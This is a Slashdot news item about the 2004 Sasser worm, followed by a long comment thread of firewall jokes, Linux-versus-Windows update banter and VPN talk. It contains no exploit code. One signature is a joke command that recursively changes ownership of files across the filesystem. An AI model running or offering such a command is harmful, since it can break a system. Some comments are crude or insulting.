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New Windows Worm on the Loose

Dynamoo writes "The Internet Storm Center has issued a Yellow Alert due to the spread of the Sasser worm exploiting Windows 2000 and XP machines through a documented flaw in the Local Security Authority Subsystem Service (LSASS) as described in Microsoft Bulletin MS04-011. Initial analysis seems to indicate classic Blaster-style worm behaviour. Right now I'm just getting a probe every 10 minutes or so on my firewall, but this is bound to escalate sharply as the pool of infected machines grows. Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you? More information at Computer Associates, F-Secure, Symantec and McAfee."

622 comments

  1. ah... by Anonymous Coward · · Score: 5, Funny

    the luxury of being behind a nat box with all ports off and not having to deal with such nonsense

    1. Re:ah... by Interruach · · Score: 5, Funny

      ahh, the luxury of the first box after the NAT being a linux proxy server that serves my entire internal network.

      -- I see your nat box and raise you a proxy server.

    2. Re:ah... by Anonymous Coward · · Score: 5, Insightful
      the luxury of being behind a nat box with all ports off and not having to deal with such nonsense

      Yeah... till your buddy comes over to play Counterstrike and plugs into your hub infecting your machine.

    3. Re:ah... by Anonymous Coward · · Score: 1, Funny

      must be hard acessing the net what with port 80 turned off eh? :)

    4. Re:ah... by Anonymous Coward · · Score: 1, Funny

      Ha, an IP Masqueraded Linux Firewall beats both (ip 10.0.0.1)! Bow before my geekdom!

    5. Re:ah... by Anonymous Coward · · Score: 1, Funny

      You wish. An OpenBSD box set up as a firewalling bridge between the Internet and the local network kicks all your asses.

    6. Re:ah... by Lord+Kano · · Score: 5, Funny

      Pussies! I'm whistling into a telephone receiver.

      LK

      --
      "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
    7. Re:ah... by Anonymous Coward · · Score: 1, Funny

      Telephone receiver, eh? Sounds like you're the one who is most likely to get a virus out of everyone!

    8. Re:ah... by JPriest · · Score: 5, Interesting

      1990, the year someone said it was a bad idea to have default services in listening state.
      1999, the year MS forgot was was said back in 90.
      2003, the year of Microsofts new security initiative.
      2004, the year of the Windows worms.
      XP SP2, the patch for mentioned "listening state" error.

      --
      Saying Java is nice because it works on all OS's is like saying that anal sex is nice because it works on all genders.
    9. Re:ah... by kasperd · · Score: 3, Funny

      I see your nat box and raise you a proxy server.

      Ha. I have a linux laptop behind a linux iptables NAT box behind another linux iptables NAT box. The NAT boxes are running two different distributions. Beat that if you can.

      --

      Do you care about the security of your wireless mouse?
    10. Re:ah... by jazman_777 · · Score: 3, Funny
      -- I see your nat box and raise you a proxy server.

      You are lucky. I have to use a box of gravel for a firewall.

      --
      Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
    11. Re:ah... by Vancorps · · Score: 2, Funny

      I feel sorry for you if you want to use IPSec

    12. Re:ah... by JDWTopGuy · · Score: 2, Interesting

      Pfft! I have a 90MHz pentium box that's a gateway/firewall, proxy with squid, caching DNS with BIND, distributed.net personal proxy, windows filesharing server with samba, LAN web server (not firewalled, I'd post a link but I have a feeling it'd go boom), and it only has 32MB of RAM!

      Boy, am I lame!

      --
      Ron Paul 2012
    13. Re:ah... by kasperd · · Score: 1

      I feel sorry for you if you want to use IPSec

      For now I don't. Most of my traffic is ssh anyway. And BTW it is possible to send packets directly between two computers between different NAT boxes. It is tricky, but it can be done. I have written some p2p tunneling software, that does it with UDP packets.

      --

      Do you care about the security of your wireless mouse?
    14. Re:ah... by Anonymous Coward · · Score: 0

      Almost every Linux distro has SSH and RPC enabled by default, so they didn't get the memo in 1990 either.

    15. Re:ah... by Vancorps · · Score: 1

      You can do it by encapulating everything inside of another larger packet. Sonicwall has a pptp client that does just that. Granted it's slow as all hell but it does work. NAT is a pain in the ass considering its limited use but seperate from the big bad world out there is a necessity.

    16. Re:ah... by RollingThunder · · Score: 1

      I don't mind that - because I can beat the tar out of him for it. ;) It's the faceless idiots out there who get infected by not keeping up to date, and end up probing my systems that I can't beat down that drive me nuts!

    17. Re:ah... by kasperd · · Score: 1

      Granted it's slow as all hell but it does work.

      I don't see any reason why it should be slow. You might lose 10% of the bandwidth because of extra headers, but other than that a good implementation should perform just fine. (I admit my own implementation is not yet a good one).

      --

      Do you care about the security of your wireless mouse?
    18. Re:ah... by Sj0 · · Score: 3, Funny

      You sure are!!

      You could be doing SO much more with that much machine -- I mean....It's a PENTIUM 90!! Don't you realize how much power you have right there? It's insanity!

      --
      It's been a long time.
    19. Re:ah... by isorox · · Score: 3, Funny

      Pah! I'm running IP over Avian Carrier!

      My firewall is literally a burning wall, DDOS me and I get a large dinner

    20. Re:ah... by Sj0 · · Score: 4, Insightful

      I just got hit with wone of these lsass viruses a few weeks ago.

      Completely patched.

      My stupidity was DMZing my firewall. Stupid, STUPID.

      Freinds don't let freinds open their firewalls. Not even to play video games, no matter how many processes they have deactivated.

      I think the tragedy here is that most "regular power users" (ie. the folks who think that they're big shit because they can install antivirus software and change their windows desktop) probably don't realize that it's entirely possible to have a completely patched windows machine that can still get infected by a virus if you plug it right into the internet. I honestly think these things are reaching a critical mass. It'll be interesting to see exactly how that manifests.

      --
      It's been a long time.
    21. Re:ah... by BenV666 · · Score: 0, Offtopic

      Dad, have you been drinking again?

    22. Re:ah... by Master+of+Transhuman · · Score: 2, Insightful

      2003, the year of Microsofts new security initiative.

      Ah, actually, Microsoft tried a "new security initiative" back in 2001 as well, IIRC.

      The 2003 one is the SECOND "new security initiative" - and seems to be shaping up as effective as the first, that is, nada, zip, zilch, useless, meaningless marketing bullshit.

      Nice timeline you had there, though, really shows the Microsoft competence in perspective.

      --
      Richard Steven Hack - This sig is TOO GODDAMN SHORT TO DO ANYTHING USEFUL WITH! MORONS!
    23. Re:ah... by ichandarin · · Score: 2, Funny

      Ha! I'm writing this on my mechanical typewriter that has been broken since 1988!

      --
      Denn wir sind wie Baumstaemme im Schnee. Scheinbar liegen sei glatt auf, mit kleinem anstoss sollte man sie wegschieben
    24. Re:ah... by Master+of+Transhuman · · Score: 4, Funny


      I have DOS - which doesn't listen to anything unless you tell it to.

      Beat that.

      (Well, I'm fibbing, I actually run Windows 2000, Windows XP and Red Hat 7.3. But I remember when I used to tell clients at BOFA that modem security was not an issue with DOS since if you weren't running XTalk or something, DOS could care less if the modem was on. Of course, this meant porn took a lot longer to download...)

      --
      Richard Steven Hack - This sig is TOO GODDAMN SHORT TO DO ANYTHING USEFUL WITH! MORONS!
    25. Re:ah... by AKnightCowboy · · Score: 1
      I feel sorry for you if you want to use IPSec

      For what? /my vpn server uses one TCP port nya nya.

    26. Re:ah... by Anonymous Coward · · Score: 0

      I have a stock, unpatched Microsoft Windows 2000 PC directly connected to the Internet. I don't need any of this firewall nonsense, since there isn't anything on the PC that I care about. Just some games and stuff. If you wanna hack it, be my guest!

    27. Re:ah... by Vancorps · · Score: 1
      You're right, I'm not being fair. I'd like to 3DES with SHA3 authentication headers which is generally slow to begin with. If you use something light like ArcFour then you wouldn't take much of a hit. All depends really, some people can afford to lose 10%. Then again, some people are dropping packets already because of too much traffic.

      Sorry for venting, I just started a new job and my first task was to fix the 8 vpns they have at the place and they were all setup woefully wrong and are complaining its slow despite the six Ts we have going into the place.

      Doesn't help that Sonicwall's suck either. I might end up replacing them all with a highly customized gentoo install. mmmmmmm emerge gentoo-kernels
    28. Re:ah... by Anonymous Coward · · Score: 0

      damn no mod points!

    29. Re:ah... by zcat_NZ · · Score: 3, Interesting

      On the other hand, remind me again what year Redhat decided it wasn't a good idea to install telnet, sendmail, pop3, imap, and a hot of other services _open to the world_ by default? I'm fairly sure they were still doing it in 1999 and a little after 2000.

      --
      455fe10422ca29c4933f95052b792ab2
    30. Re:ah... by hawkbug · · Score: 4, Insightful

      And thank you for your lazy attitude - you're the reason spammers can control broadband connected zombie boxes to fill my inbox with massive amounts of shit.

    31. Re:ah... by kd5ujz · · Score: 1

      And it is people with this attitude that allow worms like this to propagate at the speed of light. ( literally)

      --
      -William
      God is everything science has yet to explain.
    32. Re:ah... by okun · · Score: 0

      So this is what it means to be ready for desktop not to forget the servers...

    33. Re:ah... by FyRE666 · · Score: 0, Offtopic

      --
      Richard Steven Hack "Whatever does not kill me, makes me stronger." - And YOU Have Not Killed Me!

      Tell that to Christopher Reeve...

    34. Re:ah... by Anonymous Coward · · Score: 0

      Aye, laddie, it's Spring and a young man's fancy turns to trollin'

    35. Re:ah... by GbrDead · · Score: 1

      Unless you are Jim Yonan, why don't you try OpenVPN?

    36. Re:ah... by Anonymous Coward · · Score: 0

      Can I get your address, so I can personally come over and punch you in the face?

    37. Re:ah... by malarkey · · Score: 2, Funny

      Be careful, you are susceptible to virii too!!!

    38. Re:ah... by Anonymous Coward · · Score: 0

      Ah, morons... Couldn't spot a joke if it was slapping them in the face.

    39. Re:ah... by Molina+the+Bofh · · Score: 3, Insightful

      The problem is not being open to the world.

      For starters, sendmail and wu-ftpd should have been banned from Earth a long time ago. They have more holes than swiss cheese. Telnetd should already have been deprecated by ssh, and should not be installed at all.

      --

      -
      Roses are #FF0000, Violets are #0000FF, find / -name '*base*' |xargs chown -R us && mv zig greatjustice
    40. Re:ah... by dustmite · · Score: 1

      And pray tell, how could we possibly know it's a joke if there are many people who think and speak exactly like that?

    41. Re:ah... by curious.corn · · Score: 1

      That's ok but don't mix up. You're essentially capitalizing the benefit of an INPUT default policy set to drop with an ACCEPT on RELATED traffic... you're still jumping through hoops to service allowed incoming services. We should all have ip6 by now but providers are happy with ip4's address scarsity so they can extort a premium on static ips.

      --
      Mi domando chi à il mandante di tutte le cazzate che faccio - Altan
    42. Re:ah... by Zardus · · Score: 1

      Pfft. I actually surf in Linux.

      --
      You can mod your friends, you can mod your nose, but you can't mod your friend's nose.
    43. Re:ah... by Anonymous Coward · · Score: 0

      No, that's caused by a virus (pl. viruses, or virions if you're talking about many virus units), not by this "virii" that you talk about, whatever the hell that is.

    44. Re:ah... by eean · · Score: 1

      I agree, some of the commercial distros used to be pretty unresponsible.

      These days, even they install lots of services, have a firewall on by default that closes up the various servers.

      I prefer something like Gentoo where you know exactly what your installing. None of this 'install everything since its hard to install it later' crap.

    45. Re:ah... by Anonymous Coward · · Score: 0

      Thanks for letting us know why you're here.

    46. Re:ah... by natd · · Score: 1
      Exactly - there was nothing, nor is there now in retrospect, that looks like a joke there.

      I suspect it wasn't and if those 2 AC comments are the same person, they are now anonymously back peddling in shame.

      --
      Only big ligs use sigs.
    47. Re:ah... by kasperd · · Score: 1

      I'd like to 3DES with SHA3 authentication headers which is generally slow to begin with.

      3DES is three times as slow as DES, and it is not three times as secure. While the key size has been increased, it still use the same small 64-bit blocks. For that reason I advice against using the same key for more than 512KB of data. 128 bit AES is probably more secure than 3DES, and AES is as fast as DES.

      --

      Do you care about the security of your wireless mouse?
    48. Re:ah... by kasperd · · Score: 1

      why don't you try OpenVPN?

      I don't think it fits my needs. But I really should take a look on it, there might be some useful ideas I can use in my own system.

      --

      Do you care about the security of your wireless mouse?
    49. Re:ah... by kasperd · · Score: 2, Informative

      my vpn server uses one TCP port nya nya.

      VPN over TCP will give you performance problems. In fact any tunnel device over TCP will give you performance problems. It is the two instances of TCP in the protocol stack that is responsible for most of the problems. Any VPN system built on TCP is broken, it should be build on UDP.

      --

      Do you care about the security of your wireless mouse?
    50. Re:ah... by TattleTale1975 · · Score: 1

      Kinda off topic.. Can someone with skillz please tell me how to track where the Netsky virus filled emails I recieve every day are coming from??? (using outlook express) Travis.

    51. Re:ah... by Vancorps · · Score: 1

      I would prefer AES but the Sonicwall boxes I've been forced to deal with don't support it. 3DES has its problems but it is considered secure and its not all that slow.

    52. Re:ah... by wheany · · Score: 1

      Luxury! I have a lump of cold poison for a firewall.

    53. Re:ah... by Anonymous Coward · · Score: 0

      DOS could care less if the modem was on.

      You mean DOS couldn't care less. Think about it.

    54. Re:ah... by IWantMoreSpamPlease · · Score: 1

      I run BeOS, completely immune to every known virus/trojan/worm, currently available.

      Beat that ;-)

      --
      So rise up, all ye lost ones, as one, we'll claw the clouds.
    55. Re:ah... by Big+Diluth · · Score: 1

      You get to use cold poison? Mine is room temperature.

      I used to dream of owning a lump of cold poison when I was a kid....

    56. Re:ah... by Dr.+Cody · · Score: 1

      Telephone receiver, eh? Sounds like you're the one who is most likely to get a virus out of everyone

      Thank god for the telephone sanitizers.

    57. Re:ah... by Glamdrlng · · Score: 1
      the luxury of being behind a nat box with all ports off and not having to deal with such nonsense
      That's great for a home or SOHO network. In an enterprise network, it only takes one assclown bringing his unpoatched laptop into work on Monday after having it plugged into a naked cable/DSL connection all weekend to hose your network. At that point, any unpatched windows box is fair game, and the only thing your firewall's good for is scouring the logs to find infected machines trying to go out.

      Any network that doesn't practice defense in depth is like a tootsy roll pop: hard on the outside, but soft and chewy in the middle.
      --

      Yes, my only tool is a hammer. And you're starting to look like a nail.
    58. Re:ah... by Glamdrlng · · Score: 1
      I just got hit with wone of these lsass viruses a few weeks ago.
      Who'd you report it to? CERT? The ISC? The LSASS vulnerability was reported just over 2 weeks ago, and the sasser worm first showed up Friday night. If you truly had a machine that had the LSASS vulnerability exploited days after it was announced, the least you could've done is report it to someone.
      --

      Yes, my only tool is a hammer. And you're starting to look like a nail.
    59. Re:ah... by phasm42 · · Score: 1

      I have two Windows 2000 machines that I run with absolutely no firewall. They have IPs provided by the cable modem, and they're not NAT'ed. I keep them updated, and in their several years of continuous operation, I have not been infected with anything, nor has my machine been remotely crashed/compromised. Which isn't to say that this is wise, but it just goes to show that it can be done. I'd also point out that Linux can do the same thing, and I'd feel even safer (esp. if I configured iptables).

      --
      "No one likes working in a hamster wheel, and your shop smells of cedar shavings from here." - TaleSpinner
    60. Re:ah... by throwaway18 · · Score: 1

      I have two Windows 2000 machines that I run with absolutely no firewall. They have IPs provided by the cable modem, and they're not NAT'ed. I keep them updated, and in their several years of continuous operation, I have not been infected with anything, nor has my machine been remotely crashed/compromised.
      Do you see incoming traffic on the windows networking ports? If you don't see dozens of connection attempts a day your ISP is blocking those ports, it's quite common.

    61. Re:ah... by Anonymous Coward · · Score: 0

      It's something you find in boxen, I think.

    62. Re:ah... by Captain+Splendid · · Score: 1

      I can't seem to find one...apparently they're another ship.

      --
      Linux, you magnificent bastard, I read the fucking manual!
    63. Re:ah... by phasm42 · · Score: 1

      I think they're blocked now, but they used to not be. I used to go to GRC.com and run that Shields-Up test to see what ports were visible from the outside, and the usual suspects were visible. However, you can simply unbind TCP with File & Printer Sharing (and even Client for MS Networks), and though the ports are visible, they're closed or good as closed.

      --
      "No one likes working in a hamster wheel, and your shop smells of cedar shavings from here." - TaleSpinner
    64. Re:ah... by GregChant · · Score: 1

      'Virons' is the plural form of 'virion', not 'virus'. A virion is the extracellular infective form of a virus. 'Viruses' is the correct plural form of 'virus': 'virii' is a bastardization of the latin plural of virus 'viri' which is almost never used ('virus' means venom, 'vir' means man, and 'viri' is always mistaken as men).

    65. Re:ah... by darkonc · · Score: 1
      Ah, actually, Microsoft tried a "new security initiative" back in 2001 as well

      Ah, yes. I remember that.

      I got a good laugh out of them doing a big PR push with their declaration that security was no longer going to be treated as a PR issue.
      Tell me about it....

      --
      Sometimes boldness is in fashion. Sometimes only the brave will be bold.
    66. Re:ah... by darkonc · · Score: 1
      I have two Windows 2000 machines that I run with absolutely no firewall. They have IPs provided by the cable modem, and they're not NAT'ed. .... I have not been infected with anything....

      So, uhm, what's your IP addrss again? Not that I'm going to do anything with the information, it's juat that I think I'm posting this message via your box.
      :-)

      --
      Sometimes boldness is in fashion. Sometimes only the brave will be bold.
  2. I Use X Windows by craXORjack · · Score: 5, Funny
    Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

    What is this 'Windows Update' of which you speak?

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    Liberals call everyone Nazis yet they are the closest thing to it.
    1. Re:I Use X Windows by Anonymous Coward · · Score: 1, Informative
      What is this 'Windows Update' of which you speak?


      its started when you do

      # apt-get update && apt-get dist-upgrade

    2. Re:I Use X Windows by Anonymous Coward · · Score: 0

      X Windows? never heard of that, but X Window, i have heard of

    3. Re:I Use X Windows by temojen · · Score: 5, Funny

      I believe it's a cludgey microsoft variant of

      "emerge sync; emerge -uD --fetchonly world; emerge -uD world; etc-update"

      except that it requires you to reboot several times and repeatedly interact with it.

    4. Re:I Use X Windows by squall14716 · · Score: 2, Insightful
      Actually, I use:
      emerge -uD world
      ;)
    5. Re:I Use X Windows by Three+Headed+Man · · Score: 1

      I just ran Windows update and there's no patch yet. The Redmond boys have yet to address this.

      --
      I'm probably at the karma cap. Mod up a funny troll instead, it lightens the mood :)
    6. Re:I Use X Windows by Anonymous Coward · · Score: 2, Interesting

      Anyone coin a "Godwin's Law for Genoo Zealots" yet?

    7. Re:I Use X Windows by Anonymous Coward · · Score: 0

      While the reboot may take a minute or two, it's certainly not on the order of 4 hours...

    8. Re:I Use X Windows by squall14716 · · Score: 3, Funny

      Hey! I'm not a zealot, I just have this much time on my hands.

    9. Re:I Use X Windows by craXORjack · · Score: 1
      You are just a MS fanboy trying to defend Microsoft's trademarked use of the word, but it never should have been granted as proven in the Lindows lawsuit because the term Windows is and always has been commonly used for any windowing environment.

      Google search for "X Windows": 1,620,000 hits
      Google search for "X Window": 1,820,000 hits

      --
      Liberals call everyone Nazis yet they are the closest thing to it.
    10. Re:I Use X Windows by bamf · · Score: 5, Informative

      You've probably already installed it, just look for KB835732 in your list of installed updates.

    11. Re:I Use X Windows by temojen · · Score: 2, Funny

      But you can't use your computer while it's going either.

    12. Re:I Use X Windows by chosen_my_foot · · Score: 1

      I use Windows and I have used Gentoo. Windows update rarely requires more than a click on an "I accept" button, and one reboot. OTOH, I guess some people would rather wait a few hours for their updates in order to completely automate the system. *shrug*

    13. Re:I Use X Windows by squall14716 · · Score: 2, Informative

      It's called X Window System, not X Windows. Calling someone an MS fanboy because they point this out is uncalled for. Speaking of which... there are MS fanboys? Are these people out of their minds?

    14. Re:I Use X Windows by Anonymous Coward · · Score: 0
      fuck! Do you google for that each time you want to update your machine?

      Oh, lemme guess. You have typed it in so many times you know it from memory.

    15. Re:I Use X Windows by Anonymous Coward · · Score: 0

      1. So much writing just to do an apt-get update && apt-get upgrade...
      2. Sometimes it's X Window, sometimes the X Window System, it's NEVER X Windows (notice the 's').

    16. Re:I Use X Windows by gnu-generation-one · · Score: 4, Funny
      "What is this 'Windows Update' of which you speak?"

      Full text, in case of slashdotting:
      " Thank you for your interest in Windows Update

      Windows Update is the online extension of Windows that helps you get the most out of your computer.

      You must be running a Microsoft Windows operating system in order to use Windows Update."
    17. Re:I Use X Windows by Anonymous Coward · · Score: 0

      There's this radical new concept known as scripting? It's pretty cool, it allows you to automate laborious tasks.

    18. Re:I Use X Windows by pantherace · · Score: 4, Informative
      That's fine for ONE computer, possibly even easier. (That's debatable, very debatable.) However, it only updates the OS & 1 office suite. If you would be so kind as to tell me about something that allows you to install applications to multiple computers from one on windows that doesn't cost a relatively large amount, such as Norton Ghost (which still requires a fairly complicated install, but fortunately only on one machine)?

      SUS again updates only the OS + Office suite, so that doesn't cut it.

      I would certainly prefer to wait a few hours for a test machine to compile a package and then be able to deploy it (binary) to all the machines after testing. It's all in the choice of design, Windows is still at heart a single user operating system, Linux, Unix, BSD, etc are all multi-user operating systems, and it is reflected in installs.

    19. Re:I Use X Windows by squall14716 · · Score: 1

      Have you ever tried to update a newly installed system? There are like 5 reboots just to get your system half-secure. At least XP has a built in firewall which might help you not get hit with 100 worms while you are trying to update.

    20. Re:I Use X Windows by kinzillah · · Score: 1

      I can easily browse the web or watch movies on my computer while upgrading the system.

      --
      Douglas P. Price
    21. Re:I Use X Windows by Anonymous Coward · · Score: 0

      The s is short for system, as in "X Window System". You could write "X Window S", but most people just say and write "X Window" because it is easier on the eyes, tongue, and mouth :)

    22. Re:I Use X Windows by SpectreGadget · · Score: 5, Insightful

      oh yes:

      "emerge sync; emerge -uD --fetchonly world; emerge -uD world; etc-update"

      isn't kludgy in the least and very intuitive. I prefer "apt-get dist-upgrade" myself.

      --
      Jim Harry
    23. Re:I Use X Windows by GweeDo · · Score: 3, Informative

      Someone here obviously isn't using the 2.6 kernel tree with the happy new scheduler and timer. I can be happily compiling openoffice and still watch dvd's, play music, browse the web...anything else?

    24. Re:I Use X Windows by squall14716 · · Score: 1

      How about "emerge sync && emerge -uD world"? Works for me, and last I heard is more up-to-date than Debian, of course I could be wrong here.

    25. Re:I Use X Windows by Anonymous Coward · · Score: 0

      there are MS fanboys? Are these people out of their minds?

      yep.. you got an MS fanboy right here.. and yes, im quite mad.. :)

    26. Re:I Use X Windows by Anonymous Coward · · Score: 5, Funny
      You must be running a Microsoft Windows operating system in order to use Windows Update.

      Those monopolistic bastards.

    27. Re:I Use X Windows by reallocate · · Score: 2, Interesting

      I've never had Windows Update break a machine.

      All that "emerge" stuff breaks Gentoo, sooner or later, every time I've tried it.

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      -- Slashdot: When Public Access TV Says "No"
    28. Re:I Use X Windows by N1KO · · Score: 1

      Most of the time, the updates take no longer than 10 minutes... without requiring a reboot and without making the system slow or unresponsive.

      But you can't really compare the two, since windows update only updates 1% of the system, while gentoo updates everything.

    29. Re:I Use X Windows by Reducer2001 · · Score: 1

      Then you haven't used it enough!

      --
      When you get to hell -- tell 'em Itchy sent ya!
    30. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Have you ever heard of the command `nice`? Have you ever heard the word `multitasking` being associated with GNU/Linux?

      I do all my emerging / compiling with nice 19 (PORTAGE_NICENESS=19 in /etc/make.conf), and I barely notice any difference between my cpu being 100% idle and my cpu being 100% busy compiling all brand new packages

    31. Re:I Use X Windows by brunson · · Score: 5, Funny

      It's kinda like:

      yum --ask-lots-of-useless-questions=yes \
      --reboot-for-no-apparent-reason=alot \
      --resolve-dependencies-without-my-help=no \
      update

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    32. Re:I Use X Windows by squall14716 · · Score: 1

      As can I, using 2.6.5. In fact, I'm compiling 2 things right now (updating world and compiling OOo). And look at this, I can post on /. and listen to MP3s at the same time. Can you believe it? ;)

    33. Re:I Use X Windows by reallocate · · Score: 1

      Used what enough? Gentoo? Does it fix itself after it breaks itself?

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    34. Re:I Use X Windows by Anonymous Coward · · Score: 0

      apt-get install KB835732.exe

    35. Re:I Use X Windows by Afrosheen · · Score: 1

      And I prefer the easiest of all:

      urpmi --auto-select

    36. Re:I Use X Windows by Anonymous Coward · · Score: 0

      make update && make world && shutdown -r 5m
      in my crontab bitches

    37. Re:I Use X Windows by Anonymous Coward · · Score: 3, Funny

      I've been there and done that. Get with the times, BSD has had this for *ages*.

      Windows - Where do you want to go today?
      Linux - Where do you want to go tomorrow?
      BSD - Are you guys coming or what? ;)

    38. Re:I Use X Windows by temojen · · Score: 1

      Actually, I was referring to Windows where you can't use your computer while it's updateing.

    39. Re:I Use X Windows by Vancorps · · Score: 1

      Last I checked Gentoo portage tree was so up to date they even been kind enough to offer you unstable code to work with. I really do love emerge though, nothing so nice as emerging gnome and having all 2000 or so dependencies automatically downloaded and installed properly. Now to find out why it produced kernel headers that are woefully unuseful.

    40. Re:I Use X Windows by Cavelier · · Score: 1

      Or if you just want to focus on the security updates, I tend to prefer

      #glsa-check -l |grep [[N]]

      and then run glsa-check -t [advisory number]

      The brave of course can just do a glsa-check -f advisory_number without testing ;)

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    41. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Oh, man that's funny well done.

    42. Re:I Use X Windows by the+unbeliever · · Score: 1

      Says who?

      My woefully (now) underpowered 800mhz Thunderbird with 512mb of PC100 ram can easily browse the web in firefox while IE runs windows update, I can also talk on aim and listen to mp3's at the same time.

      Try again?

    43. Re:I Use X Windows by squall14716 · · Score: 1

      I also couldn't get BSD installed worth a shit either, since it complains about my disk geometry being wrong when it's not (well, at least FreeBSD, haven't attempted an install with the others).

    44. Re:I Use X Windows by Anonymous Coward · · Score: 0

      But can you do all of this while compiling OOo for Windows ???

    45. Re:I Use X Windows by ImpTech · · Score: 1

      Yeah, well good luck applying those security updates your machine doesn't know about because you didn't do an 'apt-get update' first!

    46. Re:I Use X Windows by Sj0 · · Score: 1

      It'd be news to me.

      I routinely keep doing stuff while updates are installing. Sure, I'm not supposed to, but I'm not supposed to do a lot of things.

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    47. Re:I Use X Windows by dmaxwell · · Score: 1

      I apt-get dist-upgrade myself but if I was faced with the parent posters admin task on a regular basis, it would only be a one liner shell script.

      It looks ugly but it isn't that big a deal. It certainly wouldn't be hard to wrap it in a GUI if the one liner shell script is too scary.

    48. Re:I Use X Windows by Master+of+Transhuman · · Score: 1

      We'll remember that when the next "Anonymous Coward" Windows troll starts trashing Linux.

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    49. Re:I Use X Windows by Anonymous Coward · · Score: 2, Funny

      It updates windows. But you don't have to worry, I've just updated your machine for you.

    50. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Yeah, nothing cludgey about

      "emerge sync; emerge -uD --fetchonly world; emerge -uD world; etc-update"

      is there?

      BT

    51. Re:I Use X Windows by Master+of+Transhuman · · Score: 1

      You'd trust a Microsoft firewall??? Are you nuts???

      Not me. I installed Kerio and AVG BEFORE configuring the XP PPPoE client.

      In fact, that's still the only software I have installed on XP since I use 2000 mostly at the moment (when I'm not running Linux).

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    52. Re:I Use X Windows by tomstdenis · · Score: 1

      Then either you used it wrong [e.g. forced installation of things masked] or messed with the internals.

      I'm sure if I delete commdlg32.dll windows won't work so hot too ;-)

      So far this is my 3rd or so Gentoo install on this box [switch from Athlon to P4, messed it up by myself and once had to go back to windows and I don't like dual booting].

      For the most part though it's rather hard to mess up Gentoo if you use the tools correctly.

      Though along with some of the other comments I too would love to see a GTK+ or even simply Motif wrapper around the portage tools. An X based installer would be keen and not insanely hard.

      Tom

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    53. Re:I Use X Windows by Master+of+Transhuman · · Score: 1

      > if the one liner shell script is too scary.

      BWAHAHAHAHA!!! That last line was directed to MCSE "mouse monkeys", right?

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    54. Re:I Use X Windows by bkhl · · Score: 3, Insightful

      No, you're not:

      "The X Consortium requests that the following names be used when referring to this software:

      X
      X Window System
      X Version 11
      X Window System, Version 11
      X11

      X Window System is a trademark of X Consortium, Inc. "

    55. Re:I Use X Windows by Master+of+Transhuman · · Score: 1


      Just read an article yesterday where the recent MS security patch fixing TWENTY - that's a two and a zero - vulnerabilities is breaking various things for various people.

      Yes, Update DOES break things. Maybe not enough to not apply patches, but no sys admin in his right mind would apply every patch unless the related app needs it or it's a critical security patch.

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    56. Re:I Use X Windows by Suidae · · Score: 4, Funny

      Ha, you all suck, I just tell my network admin to update everything so I can get on with the drinking beer and watching porn.

    57. Re:I Use X Windows by Master+of+Transhuman · · Score: 1

      > Windows Update is the online extension of
      > Windows that helps you get the most out of your
      > computer.

      Should read:

      Windows Update is the online extension of Windows that helps us get the most information out of your computer and the most money out of your wallet - otherwise we wouldn't bother issuing any patches.

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    58. Re:I Use X Windows by squall14716 · · Score: 1

      It'd probably be enough to protect you from most attacks on a newly installed system before you have a chance to get anything else installed or Windows updated with all the security patches.

    59. Re:I Use X Windows by 00420 · · Score: 1, Interesting

      I've never had Windows Update break a machine.

      After installing SP4 on my friend's Windows 2000 box, he had to reinstall just about every program he had, because they just stopped working.

      To be fair to MS though, they really didn't expect him to be running any programs as a normal user instead of an administrator.

    60. Re:I Use X Windows by boredMDer · · Score: 1

      I've never had emerge world break anything, and I run ~x86 and ~ppc.

      On the other hand, WU...that's caused some issues.

    61. Re:I Use X Windows by Anonymous Coward · · Score: 0
      I believe it's a cludgey microsoft variant of

      "emerge sync; emerge -uD --fetchonly world; emerge -uD world; etc-update"

      except that it requires you to reboot several times and repeatedly interact with it.

      Get a clue, jerkoff. You click twice, reboot, and your machine is up to date.

      In fact, if you dont even want to click twice, you can set it to download the updates automatically, on a schedule.

      And if you are on a Active Directory network, you can force the computers to download updates and reboot afterward. Thus proving that you dont know shit about what you are talking about- once again the slashdot echo-chamber of misinformation doesnt fail to disappoint!

    62. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Funny, because there was a worm going around that hacked 3rd party firewalls, but Windows' built-in was immune.

    63. Re:I Use X Windows by bryhhh · · Score: 1

      It would be good practice to use

      emerge sync && emerge -uD --fetchonly world && emerge -uD world && etc-update

      This way if any part of the update process fails the remaining parts won't execute and you get to see what the error is before it scrolls of the top of your console.

      Personally I would never emerge anything on my systems without first checking it with the '-p' option. I like to know what any install/updates will do to my systems before I do it for real.

    64. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Well, you don't use a laptop then (at least a crappy compaq like mine)
      I can pretty much notice the difference between 100% idle and 100% busy... If it stays 100% busy for long it starts turing on every fscking one of the SEVEN fans this thing has, and it starts to sound more and more like a jet engine.

      awesome.

    65. Re:I Use X Windows by TechniMyoko · · Score: 0

      sorry troll, very few updates require rebooting, and the program is one click away on windows

    66. Re:I Use X Windows by TechniMyoko · · Score: 1, Informative

      actually, on XP with default settings, commdlg32.dll (or any other system file) will be restored by the OS when you delete it from a backup location

    67. Re:I Use X Windows by Anonymous Coward · · Score: 0

      don't you love Lynx

    68. Re:I Use X Windows by amorangi · · Score: 1

      You must be running a Microsoft Windows operating system in order to use Windows Update.

      Unfortunately you must also being using Internet Explorer.

    69. Re:I Use X Windows by vk2 · · Score: 1

      Thanks for the info - and three bows for the 3 digit uid.

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    70. Re:I Use X Windows by bonch · · Score: 1

      It's all in the choice of design, Windows is still at heart a single user operating system, Linux, Unix, BSD, etc are all multi-user operating systems, and it is reflected in installs.

      NT has been a multi-user system since its inception.

      There are endless third-party programs (some freeware) that let you install to multiple machines--Norton has always had overpriced products, so forget about Ghost!

    71. Re:I Use X Windows by the+unbeliever · · Score: 1

      Why would I compile it when there are binaries available? :P

      I don't particularly care for compiling things I don't have to.

      I'm lazy.

    72. Re:I Use X Windows by bonch · · Score: 1

      --ask-lots-of-useless-questions=yes

      Windows Update doesn't ask you a single question. It just gives you a list.

      --reboot-for-no-apparent-reason=alot

      A lot? It only reboots once for critical updates that require it.

      --resolve-dependencies-without-my-help=no

      Uh, what dependencies have you had to resolve for Windows Update?

